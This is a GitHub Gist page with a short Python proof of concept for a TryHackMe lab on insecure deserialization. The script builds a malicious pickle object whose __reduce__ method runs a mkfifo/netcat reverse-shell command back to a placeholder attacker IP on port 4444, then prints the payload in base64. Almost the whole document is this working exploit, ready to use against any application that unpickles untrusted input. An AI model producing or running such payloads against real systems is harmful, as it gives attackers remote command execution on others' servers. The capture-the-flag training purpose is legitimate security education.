-
-
Save Zinkuth/17b5e6c36de57059ad4ccbf80e4dfa75 to your computer and use it in GitHub Desktop.
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import sys | |
import base64 | |
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' | |
class rce(object): | |
def __reduce__(self): | |
import os | |
return (os.system,(command,)) | |
print(base64.b64encode(pickle.dumps(rce()))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment